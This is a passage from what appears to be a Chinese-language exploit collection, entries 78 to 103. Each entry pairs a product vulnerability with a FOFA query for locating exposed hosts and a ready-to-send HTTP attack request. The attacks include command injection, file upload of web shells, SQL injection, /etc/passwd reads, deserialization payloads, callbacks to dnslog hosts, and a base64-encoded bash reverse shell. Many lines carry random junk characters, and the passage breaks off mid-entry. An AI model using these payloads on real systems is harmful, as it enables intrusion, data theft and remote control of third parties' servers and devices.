Accept-Language: zh-CN,zh;q=0.9
Content-Type: multipart/form-data; boundary=----------398jnjVTTlDVXHlE7yYnfwBoix

  [1 T6 v) |- c- b; M" _* M/ S8 _------------398jnjVTTlDVXHlE7yYnfwBoix
1 S9 n& R. w. ^+ s+ m  DContent-Disposition: form-data; name="folder"

/upload/udplog
; f" t$ H9 p: z. F. g( X. S------------398jnjVTTlDVXHlE7yYnfwBoix
0 Z) k% }& W  V4 s; zContent-Disposition: form-data; name="Filedata"; filename="1.aspx"
. e2 _4 G1 X$ F- _5 ZContent-Type: application/octet-stream
; R3 ~: a+ C! h3 ]. ]
- _. a0 F% V' I9 H) u4 I# Shello1234567
9 g* e# a: Z  N------------398jnjVTTlDVXHlE7yYnfwBoix
$ m7 u) t( N' J8 HContent-Disposition: form-data; name="Upload"
( ^8 R5 G8 i( \1 l4 V4 {7 |
Submit Query
3 N9 `' K/ }2 ^; ]9 K1 g1 j0 x------------398jnjVTTlDVXHlE7yYnfwBoix--
; M# i& k# |! f! h; k9 T

78. pkpmbs 建设工程质量监督系统 FileUpload.ashx 文件上传
FOFA：icon_hash="2001627082"
POST /Platform/System/FileUpload.ashx HTTP/1.1
: t3 E, X( A, g+ \" IHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
* j( ]+ @+ W" F8 }Connection: close
Content-Length: 336
1 v8 t: d9 u- [7 tAccept-Encoding: gzip
Content-Type: multipart/form-data; boundary=----YsOxWxSvj1KyZow1PTsh98fdu6l

------YsOxWxSvj1KyZow1PTsh98fdu6l
7 ~( a7 c2 j) XContent-Disposition: form-data; name="file"; filename="YsOxWxSvj1KyZow1PTsh98fdu6l.txt"
Content-Type: image/png

YsOxWxSvj1KyZow1PTsh98fdu6l
# E. d1 m/ A+ a+ e' E! D9 @6 M$ ?------YsOxWxSvj1KyZow1PTsh98fdu6l
Content-Disposition: form-data; name="target"
5 l# y) W" X; w4 L. E0 Q
5 r; U: X6 Z+ _$ L$ S! }: w/Applications/SkillDevelopAndEHS/
+ j  Z3 g, w# v------YsOxWxSvj1KyZow1PTsh98fdu6l--
8 ]/ j& Y3 v0 ^8 O  I

5 Z' p7 d3 b( gGET /Applications/SkillDevelopAndEHS/YsOxWxSvj1KyZow1PTsh98fdu6l.txt HTTP/1.1
Host: x.x.x.x
0 z( j0 `/ X1 ?0 U: p% P# c
' b5 C7 k) x% W) Q* f4 M
* }- i8 o; c) ?! l' d79. BYTEVALUE 百为流控路由器远程命令执行
FOFA：BYTEVALUE 智能流控路由器
GET /goform/webRead/open/?path=|id HTTP/1.1
Host:IP
# j1 R# ?% y! r5 e6 C& dUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
9 x2 r: j, g* gAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
# \2 s; ^3 A% k8 f, N/ YAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
# \! H3 b% K+ G9 m( [0 [Accept-Encoding: gzip, deflate
: ~  Z( t" M0 Q( G3 vConnection: close
Upgrade-Insecure-Requests: 1
% ^" @. k- w2 n5 g

6 g. n4 k8 B% ]8 g4 V5 b80. 速达天耀软件DesignReportSave.jsp接口存在任意文件上传
FOFA：app="速达软件-公司产品"
% {. h; l' h+ m7 ?% L! G3 YPOST /report/DesignReportSave.jsp?report=../xykqmfxpoas.jsp HTTP/1.1
; w. k; h, e) y( a3 dHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Length: 27
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
+ U" g! a; H9 z* Y9 V7 A9 `# z# GAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
- ?0 ^) l5 U+ }( D5 GConnection: close
Content-Type: application/octet-stream
Upgrade-Insecure-Requests: 1

<% out.print("oessqeonylzaf");%>

0 f3 G5 q/ h) n) w) e, Z; l
GET /xykqmfxpoas.jsp HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Accept-Encoding: gzip
* a! S6 ~  y) F; W2 P$ z. M6 u
+ x3 \% i0 }' X3 _& g( F+ C. `3 ?8 d
81. 宇视科技视频监控宇视(Uniview)main-cgi密码泄露
+ ?. c  h& S( @! P7 w# |  L/ {: U/ TFOFA：app="uniview-视频监控"
3 `6 C' H: }8 d$ y  e/ DGET /cgi-bin/main-cgi?json={"cmd":255,"szUserName":"","u32UserLoginHandle":-1} HTTP/1.1
$ E0 F. u7 k% z3 ]- ^" E! MHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
5 z7 I% J& [! F, @; z5 m! z* dAccept-Encoding: gzip
+ H, ?2 v: P+ G* c

, E6 k2 c! F# y9 z, M6 t& p5 D82. 思福迪LOGBASE运维安全管理系统 test_qrcode_b 远程命令执行
# s; y/ `. y; B0 VFOFA：app="思福迪-LOGBASE"
, {3 ?1 I+ _$ M- C6 U- OPOST /bhost/test_qrcode_b HTTP/1.1
Host: BaseURL
) z* M- A7 @! ~! p* S* gUser-Agent: Go-http-client/1.1
0 A" u  _+ Z- X' a+ l  zContent-Length: 23
Accept-Encoding: gzip
Connection: close
Content-Type: application/x-www-form-urlencoded
Referer: BaseURL
1 @& ]+ Z0 o" h- {5 A; k
  Y- A' f; V7 n6 H1 ~$ `8 Sz1=1&z2="|id;"&z3=bhost


  ]# @$ l0 |, U! r7 _" w83. JeecgBoot testConnection 远程命令执行
FOFA：title=="JeecgBoot 企业级低代码平台"
; o- s( Q/ h, \2 R8 }) v
# l$ h5 U# B# t. A
POST /jmreport/testConnection HTTP/1.1
8 S1 S1 E5 y& J. tHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
; z0 s! B8 m: J$ e; |Connection: close
) ]! F( d9 k, K6 o7 b( yContent-Length: 8881
$ [/ }% X& b1 u8 y5 `0 cAccept-Encoding: gzip
+ i& G9 }4 a2 Y; Q0 PCmd: echo "2ZTvHsq4au3uOQ2mK9OuJb86rdO"
Content-Type: application/json
" P$ u2 Y. Q3 h: p2 G( k
6 e6 S( |; n# T; Z/ kPAYLOAD
% F8 f) s' D! D$ d8 w- |
84. Jeecg-Boot JimuReport queryFieldBySql 模板注入
+ c( [' Z" J. s6 ~FOFA：title=="JeecgBoot 企业级低代码平台"


* j( u5 ?2 J4 e9 ], T. Q
- A$ l; f- G( a! nPOST /jeecg-boot/jmreport/queryFieldBySql HTTP/1.1
Host: 192.168.40.130:8080
User-Agent: curl/7.88.1
; @; R' c" A. }% _Content-Length: 156
Accept: */*
Connection: close
Content-Type: application/json
* u/ ]5 r, B, B- Z8 vAccept-Encoding: gzip
' k8 n* N: v2 M
{
8 O/ k+ b* c( {7 b) T1 [0 k "sql": "<#assign ex=\"freemarker.template.utility.Execute\"?new()>${ex(\"curl http://ip.port.kr9dqoau.dnslog.pw/`whoami\")}",
/ _; Z* o/ f$ O0 e! u  "type": "0"
}

3 r" H# h) k# m" X3 F
; G6 O4 D2 F( [0 n6 \85. SysAid On-premise< 23.3.36远程代码执行
3 ~' W' H# R6 f% C2 u! e; e! x- eCVE-2023-47246
FOFA：body="sysaid-logo-dark-green.png"
/ C& w& m2 |/ o3 H3 lEXP数据包如下，注入哥斯拉马
POST /userentry?accountId=../../../tomcat/webapps&symbolName=LDAP_REFRESH_ HTTP/1.1
, r! D+ u2 ?. O) Z" b& y  c& QHost: x.x.x.x
7 C+ N4 f% Y# f4 b* P; tUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: application/octet-stream
Accept-Encoding: gzip
) M% e3 B) W" v& P4 P
PAYLOAD
- l* J" q: ~; s" \, k3 j
8 a$ b2 q0 J4 w  m$ g回显URL：http://x.x.x.x/userfiles/index.jsp
# h2 r/ a. q7 w8 X8 b( H
) h+ G/ T* T- F/ `86. 日本tosei自助洗衣机RCE
FOFA：body="tosei_login_check.php"
0 e9 z5 t* W. v( E8 ZPOST /cgi-bin/network_test.php HTTP/1.1
. q& X8 o" @" I; r6 r3 _Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36
1 [7 w( n" X# `3 bConnection: close
* \" D4 }" K- S, ~) `0 v/ m+ J/ P- mContent-Length: 44
Accept: */*
3 V1 T6 C" P7 N9 A8 AAccept-Encoding: gzip
8 e0 {6 A+ a1 _( ~Accept-Language: en
Content-Type: application/x-www-form-urlencoded
) v6 c3 q$ n0 w( s* w% f/ @
& q$ d8 ^: G: O# u& Vhost=%0acat${IFS}/etc/passwd%0a&command=ping
4 }. t/ L  f, E  `" x7 n. O; Q

2 N8 o; x6 A8 h87. 安恒明御安全网关aaa_local_web_preview文件上传
FOFA：title="明御安全网关"
POST /webui/?g=aaa_local_web_preview&name=123&read=0&suffix=/../../../jfhatuwe.php HTTP/1.1
8 z% A3 j" e4 [% O8 @3 Q- RHost: X.X.X.X
( A$ f) n5 `/ [/ i, T! [User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
4 u$ Q) P" \& T( R6 i) e7 J2 JConnection: close
. V2 }1 l* V& \0 }$ bContent-Length: 198
8 d* d% }9 _! ^. l- C6 aAccept-Encoding: gzip
& K2 ^3 s* k) w$ X) MContent-Type: multipart/form-data; boundary=qqobiandqgawlxodfiisporjwravxtvd

6 T% B5 ]0 R& S% n4 O# j" ]--qqobiandqgawlxodfiisporjwravxtvd
Content-Disposition: form-data; name="123"; filename="9B9Ccd.php"
Content-Type: text/plain

; \3 o/ d* v4 G0 ]8 N2ZqGNnsjzzU2GBBPyd8AIA7QlDq
--qqobiandqgawlxodfiisporjwravxtvd--
& Z$ l+ q/ C" e4 Q

/jfhatuwe.php
4 l. I% B" U  g& C, t6 _
88. 安恒明御安全网关 aaa_portal_auth_config_reset 远程命令执行
+ |3 v1 N6 O+ {% o) _FOFA：title="明御安全网关"
8 U& ?6 F- ^- V: \: G$ rGET /webui/?g=aaa_portal_auth_config_reset&type=%0aecho%20%27%3C%3Fphp%20echo%20%22assdwdmpidmsbzoabahpjhnokiduw%22%3B%20phpinfo%28%29%3B%20%3F%3E%27%20%3E%3E%20%2Fusr%2Flocal%2Fwebui%2Ftxzfsrur.php%0a HTTP/1.1
3 W' [% {9 s8 r: `: `% s+ J  R: _Host: x.x.x.xx.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
; ~9 N! z# S8 B& T. {Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
+ n, Z, n* D: |+ X( L, C2 CConnection: close

% W: G) w7 X8 {  x$ [
/astdfkhl.php

89. 致远互联FE协作办公平台editflow_manager存在sql注入
4 h/ L3 z- S! H9 c2 k6 o5 v4 J* EFOFA：title="FE协作办公平台" || body="li_plugins_download"
( Z- J' u7 ]; N2 t0 gPOST /sysform/003/editflow_manager.js%70 HTTP/1.1
# S0 n) w+ d/ z  e2 T- V; T; `. @9 DHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
$ }- \' ?% C. O: x/ M9 e+ B" O& ?! LContent-Length: 41
- h7 y; ?/ L2 O' ZContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

) |% N  |5 W: noption=2&GUID=-1'+union+select+111*222--+
: P* b! b( n& v$ {; E

' ], Q9 w1 ?! y2 I  J; S90. 海康威视IP网络对讲广播系统3.0.3_20201113_RELEASE远程命令执行
; j, D; B9 Y0 z5 `) EFOFA：icon_hash="-1830859634"
0 G4 v* x! W/ Z( g0 q: J7 FPOST /php/ping.php HTTP/1.1
$ Y# V* F+ P3 h) \: zHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
" e+ t; X! H6 l( \Content-Length: 51
# y, `( ]) G* gAccept: application/json, text/javascript, */*; q=0.01
2 q# u. {& N: CAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Content-Type: application/x-www-form-urlencoded
% Y6 e( Q$ w- T+ J' `X-Requested-With: XMLHttpRequest

/ S) W) Z" F1 ]8 h4 vjsondata%5Btype%5D=99&jsondata%5Bip%5D=ipconfig

; i- Z* G' x4 p. R( h% r
3 U1 Y9 m$ t. v91. 海康威视综合安防管理平台orgManage/v1/orgs/download任意文件读取
FOFA：title="综合安防管理平台"
" S* Y1 m9 i1 D! R( _0 T; d  XGET /center/api/task/..;/orgManage/v1/orgs/download?fileName=../../../../../../../etc/passwd HTTP/1.1
6 s3 H6 n- X+ W# w6 D. lHost: your-ip
- h* h1 |9 r- zUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Accept-Encoding: gzip, deflate
( t. B% x  u) }9 I+ SAccept: */*
( w3 j6 X, k5 H7 m# UConnection: keep-alive

) S' B% l% a" v2 b

8 A0 s/ s" F! d92. 海康威视运行管理中心session命令执行
Fastjson命令执行
# i6 y! B, f% A) Vhunter：web.icon=="e05b47d5ce11d2f4182a964255870b76"
4 _2 o% I! y) ]" h) nPOST /center/api/session HTTP/1.1
Host:
Accept: application/json, text/plain, */*
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
2 \; q" a: r5 N% I2 ^Content-Type: application/json;charset=UTF-8
X-Language-Type: zh_CN
. w1 I$ A3 P$ CTestcmd: echo test
  U2 Z) @2 F1 h- U3 w( sUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X -1_0_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
Accept-Language: zh-CN,zh;q=0.9
Content-Length: 5778
5 o( E5 t6 Y/ ^0 }8 n8 C' B+ C
2 y- N* ~6 M, Y. O( {9 U* XPAYLOAD
( h6 n& M8 b, o; |4 i6 M. k

93. 奇安信网神SecGate3600防火墙app_av_import_save任意文件上传
+ G; ]7 G( ^9 ^; CFOFA：fid="1Lh1LHi6yfkhiO83I59AYg=="
POST /?g=app_av_import_save HTTP/1.1
Host: x.x.x.x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarykcbkgdfx
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
" o) n# B& ]: _- n9 x/ Q$ [* V
7 P9 Z0 u9 m- V5 O' ~! ?+ j6 D------WebKitFormBoundarykcbkgdfx
Content-Disposition: form-data; name="MAX_FILE_SIZE"
4 X- A. w3 I( E# L( U# o
, X' J; D4 p& q4 }4 b: b10000000
------WebKitFormBoundarykcbkgdfx
/ X# k6 W4 k5 S6 a! d& D" AContent-Disposition: form-data; name="upfile"; filename="xlskxknxa.txt"
) [$ m  I* l, }# h5 G* u" `  VContent-Type: text/plain
& S( K" F. _! \8 a' B7 R
wagletqrkwrddkthtulxsqrphulnknxa
------WebKitFormBoundarykcbkgdfx
7 E; f" E) m1 NContent-Disposition: form-data; name="submit_post"
9 L. h5 _; |, N4 h5 ~
$ n5 S! R; Q8 Z/ y5 t+ iobj_app_upfile
------WebKitFormBoundarykcbkgdfx
Content-Disposition: form-data; name="__hash__"

, X5 i1 f* Q/ f9 y# P5 T" g% t5 {0b9d6b1ab7479ab69d9f71b05e0e9445
------WebKitFormBoundarykcbkgdfx--

4 ]( _' m% _0 [
GET /attachements/xlskxknxa.txt HTTP/1.1
- G- I/ W2 P. W, S( P) X# t9 w: SHost: xx.xx.xx.xx
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
" B. I) Y! O. w' g) d

: c* Q- o0 K& N6 q* u94. 奇安信网神SecGate3600防火墙obj_area_import_save任意文件上传
7 O7 Z6 X% r( w; ~4 F# V4 f- RFOFA：fid="1Lh1LHi6yfkhiO83I59AYg=="
POST /?g=obj_area_import_save HTTP/1.1
2 V# I0 p. {6 x% w# S7 F; ]/ [Host: x.x.x.x
+ m; [: E4 c3 v$ l8 Y# u5 c  LContent-Type: multipart/form-data; boundary=----WebKitFormBoundarybqvzqvmt
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36

------WebKitFormBoundarybqvzqvmt
+ \/ N7 R* D: y0 F2 ]Content-Disposition: form-data; name="MAX_FILE_SIZE"
  [9 o# i5 U4 `5 y5 I5 u9 L/ ^
+ o- z: d+ H' k2 ^) h+ u8 n10000000
6 h8 A" s8 u+ V3 o) \------WebKitFormBoundarybqvzqvmt
Content-Disposition: form-data; name="upfile"; filename="cciytdzu.txt"
8 Z3 M% @) j6 A' A) FContent-Type: text/plain
/ r9 U- d' w/ @5 W+ t! w& S7 h
pxplitttsrjnyoafavcajwkvhxindhmu
------WebKitFormBoundarybqvzqvmt
+ q6 i$ l1 }! [. yContent-Disposition: form-data; name="submit_post"
( E4 s, f3 j% ?, F4 g! ?
obj_app_upfile
' A  g; l/ D4 t7 B6 p0 X/ C2 K" g------WebKitFormBoundarybqvzqvmt
, C$ B) Z2 e7 a0 D, nContent-Disposition: form-data; name="__hash__"

0b9d6b1ab7479ab69d9f71b05e0e9445
------WebKitFormBoundarybqvzqvmt--



GET /attachements/xlskxknxa.txt HTTP/1.1
0 w, z( Y; i; ?Host: xx.xx.xx.xx
; I5 {5 j: s% JUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
1 U# ]7 [5 G- W4 \- {: L8 d  E% c1 {8 y


. n' s; Q$ a6 ?95. Apache-OFBiz < 18.12.10 xmlrpc远程代码执行
9 W$ D4 j4 {* V0 H, Z& O* ICVE-2023-49070
6 K! j: H" y% c# GFOFA：app="Apache_OFBiz"
. Z- G9 q+ {5 K2 W8 T) v' rPOST /webtools/control/xmlrpc;/?USERNAME&PASSWORD=s&requirePasswordChange=Y HTTP/1.1
9 V$ S/ Z4 q- A0 p& a) P8 CHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
Connection: close
Content-Length: 889
8 p  Y/ Z9 J: s8 ]' [5 ^5 G9 ZContent-Type: application/xml
3 \1 r+ `9 V, O) g' gAccept-Encoding: gzip
4 t5 @( y: x3 N$ H
<?xml version="1.0"?>
$ h& R& |+ X) z; H7 w( a/ C<methodCall>
. k4 _  j, S( [   <methodName>2a4UTp2XBzXgziEO3BIFOCbJiI3</methodName>
    <params>
      <param>
      <value>
9 t0 h/ z. E5 \  t5 R1 `        <struct>
! m! y, o" t  H3 ^0 C0 [* ?       <member>
/ w$ p  d$ K/ d8 `2 }          <name>test</name>
: Y! n1 z4 D( t! |8 `. a; O9 ~  {          <value>
* O. f0 S8 Z7 @7 M) Z      <serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">[payload的base64值]</serializable>
          </value>
        </member>
      </struct>
      </value>
3 b) U0 R0 K  f    </param>
    </params>
) F) |( _, L/ p, M4 B! Q</methodCall>
2 q% K9 l/ Q9 H$ g6 k( P; |9 j$ B$ u
1 l6 t* Q1 B- T7 q5 K# B
' E' d. ~+ B$ ]用ysoserial生成payload
' A2 K1 A% L* t1 n) Njava -jar ysoserial-all.jar CommonsBeanutils1 "ping 41e87zy3.dnslog.pw" | base64 | tr -d "\n"

) {5 L; ^% s. N
将生成的payload替换到上面的POC
POST /webtools/control/xmlrpc;/?USERNAME&PASSWORD=s&requirePasswordChange=Y HTTP/1.1
Host: 192.168.40.130:8443
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
/ h$ A7 y& F  P4 f3 J- CConnection: close
Content-Length: 889
Content-Type: application/xml
2 \: B" F. C& R( y% E+ ~Accept-Encoding: gzip
7 }  n1 V+ z; W  l/ E3 a# r
+ I) w* ^0 G9 o6 X' d6 }. x* hPAYLOAD

96. Apache OFBiz  18.12.11 groovy 远程代码执行
5 ]4 P6 @3 C# n! _FOFA：app="Apache_OFBiz"
! E) y$ v( j) r# M1 M& MPOST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
Host: localhost:8443
1 e' U1 U- _3 }7 g+ NUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded
4 g' B$ |6 A5 q) q- \( I' Y& v* E/ AContent-Length: 55

groovyProgram=throw+new+Exception('id'.execute().text);

; l2 \( V( p# y. ]; d/ L# ?
' |" {9 W: W; q反弹shell
7 Z% f: a- J7 y1 Q0 [7 @% |在kali上启动一个监听
nc -lvp 7777

POST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
) H6 }, O$ c; G8 D/ E9 ?Host: 192.168.40.130:8443
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
' V& ?& t# t/ R0 A/ r' t4 O; s/ oContent-Type: application/x-www-form-urlencoded
0 M' Y  e: J  v' EContent-Length: 71

groovyProgram='bash+-c+{echo,YmFzaCUyMC1pJTIwPiYlMjAvZGV2L3RjcC8xOTIuMTY4LjQwLjEyOC83Nzc3JTIwMD4mMQ==}|{base64,-d}|{bash,-i}'.execute();

/ e/ M- V/ d% F( }# U97. OneBlog v2.2.2 博客Shiro反序列化远程命令执行
FOFA：body="/assets/js/zhyd.tool.js" || body="OneBlog,开源博客"
; P& \, f0 ?( C& _7 eGET /passport/login/ HTTP/1.1
Host: 192.168.40.130:8085
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
' [% g% s" n1 C0 R! p1 T, t3 x8 bAccept-Encoding: gzip
Connection: close
Cookie: rememberMe=PAYLOAD
2 h3 ], Z! ?) E, HX-Token-Data: echo "2a4MU6FVYI3qR4AWxn1Bdfh6Ttk"


7 B  C2 ^' H& ~# O* F0 |$ D/ e98. SpiderFlow爬虫平台远程命令执行
CVE-2024-0195
- M; B/ v5 J# @7 e$ j8 s: T+ dFOFA：app="SpiderFlow"
8 t3 N- A! A* S: r# `POST /function/save HTTP/1.1
Host: 192.168.40.130:8088
/ t  l4 m4 ^* v% [& Y7 ~User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Connection: close
Content-Length: 121
# S1 c$ `, }; y- i/ AAccept: */*
! l" X! g: K$ {2 R8 _# ]2 p( {Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
0 i$ z/ o* Z( k4 ^# `Content-Type: application/x-www-form-urlencoded; charset=UTF-8
3 H/ m3 I% S8 k, DX-Requested-With: XMLHttpRequest

. \( H  O) ^8 ?' I" w  i+ R; vid=1&name=cmd&parameter=rce&script=%7DJava.type('java.lang.Runtime').getRuntime().exec('ping+a4xs0nop.dnslog.pw')%3B%7B
. q+ F/ J+ L; p+ p
! R' b+ P7 `% W
99. Ncast盈可视高清智能录播系统busiFacade RCE
/ J& I/ Q( I& N+ ^- a' dCVE-2024-0305
; Y. q2 k7 D2 I) lFOFA：app="Ncast-产品" && title=="高清智能录播系统"
* r1 }  p/ D( F/ yPOST /classes/common/busiFacade.php HTTP/1.1
8 H8 x; x# z5 w- i3 pHost: 192.168.40.130:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
5 [+ K+ u# \2 j/ n/ WConnection: close
) K5 p* G8 l8 o; p0 y" P% q( UContent-Length: 154
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
: Z, Z! [) s3 iContent-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest

2 H2 S( ?& I3 s%7B%22name%22:%22ping%22,%22serviceName%22:%22SysManager%22,%22userTransaction%22:false,%22param%22:%5B%22ping%20127.0.0.1%20%7C%20echo%20hello%22%5D%7D
/ |) a3 E. s1 s. j! J

4 L/ s$ \3 X) `! D100. Likeshop 2.5.7.20210311 File.php userFormImage 文件上传
* {6 D$ E! t% Q# PCVE-2024-0352
FOFA：icon_hash="874152924"
) l; I$ c- _/ y9 b& XPOST /api/file/formimage HTTP/1.1
Host: 192.168.40.130
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
Connection: close
- J/ j2 q' V/ w( [Content-Length: 201
8 I' c6 D% B' d3 ]3 Z3 vContent-Type: multipart/form-data; boundary=----WebKitFormBoundarygcflwtei
Accept-Encoding: gzip

------WebKitFormBoundarygcflwtei
9 G* n5 x* K& |8 @9 XContent-Disposition: form-data; name="file";filename="IE4MGP.php"
  u) V5 U; k0 z  y# sContent-Type: application/x-php
8 D, M( A% V8 K8 ~( w
3 W1 L9 Y8 B# ?, ^1 s2ayyhRXiAsKXL8olvF5s4qqyI2O
------WebKitFormBoundarygcflwtei--
9 ]2 z5 O* F2 H5 u( f

101. ivanti policy secure-22.6命令注入
CVE-2024-21887
FOFA：body="welcome.cgi?p=logo"
/ _+ C$ }" i( u$ ~  d4 OGET /api/v1/totp/user-backup-code/../../license/keys-status/%3bcurl%20a4xs0nop.dnslog.pw HTTP/1.1
Host: x.x.x.xx.x.x.x
" `6 `- e5 Z# w0 j" I, d4 ?- q' [User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
- u% J8 y# j# N5 I3 h2 o9 U' g6 QConnection: close
Accept-Encoding: gzip


  z; k& V1 P) g0 R0 m102. Ivanti Pulse Connect Secure VPN SSRF致远程代码执行
CVE-2024-21893
FOFA：body="welcome.cgi?p=logo"
# Y2 K2 e" G. ]POST /dana-ws/saml20.ws HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Connection: close
Content-Length: 792
% f9 ?6 S# N: e# S# w7 XAccept-Encoding: gzip

<?xml version="1.0" encoding="UTF-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body>             <ds:Signature           xmlns:ds="http://www.w3.org/2000/09/xmldsig#">                   <ds:SignedInfo>                        <ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-cc14n#"/>                         <ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/>                    </ds:SignedInfo>                       <<ds:SignatureValue>qwerty</ds:SignatureValue>                    <ds:KeyInfo xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.w3.org/22000/09/xmldsig" xmlns:ds="http://www.w3.org/2000/09/xmldsig#">                         <ds:RetrievalMethod URI="http://kr9dqoau.dnslog.pw"/><<ds:X509Data/>                   </ds:KeyInfo>                  <ds:Object></ds:Object>         </ds:Signature> </soap:Body></soap:Envelope>

  g7 Q3 s, r2 Y0 S3 ?: P103. Ivanti Pulse Connect Secure VPN XXE
CVE-2024-22024
FOFA：body="welcome.cgi?p=logo"
POST /dana-na/auth/saml-sso.cgi HTTP/1.1
Host: 192.168.40.130:111
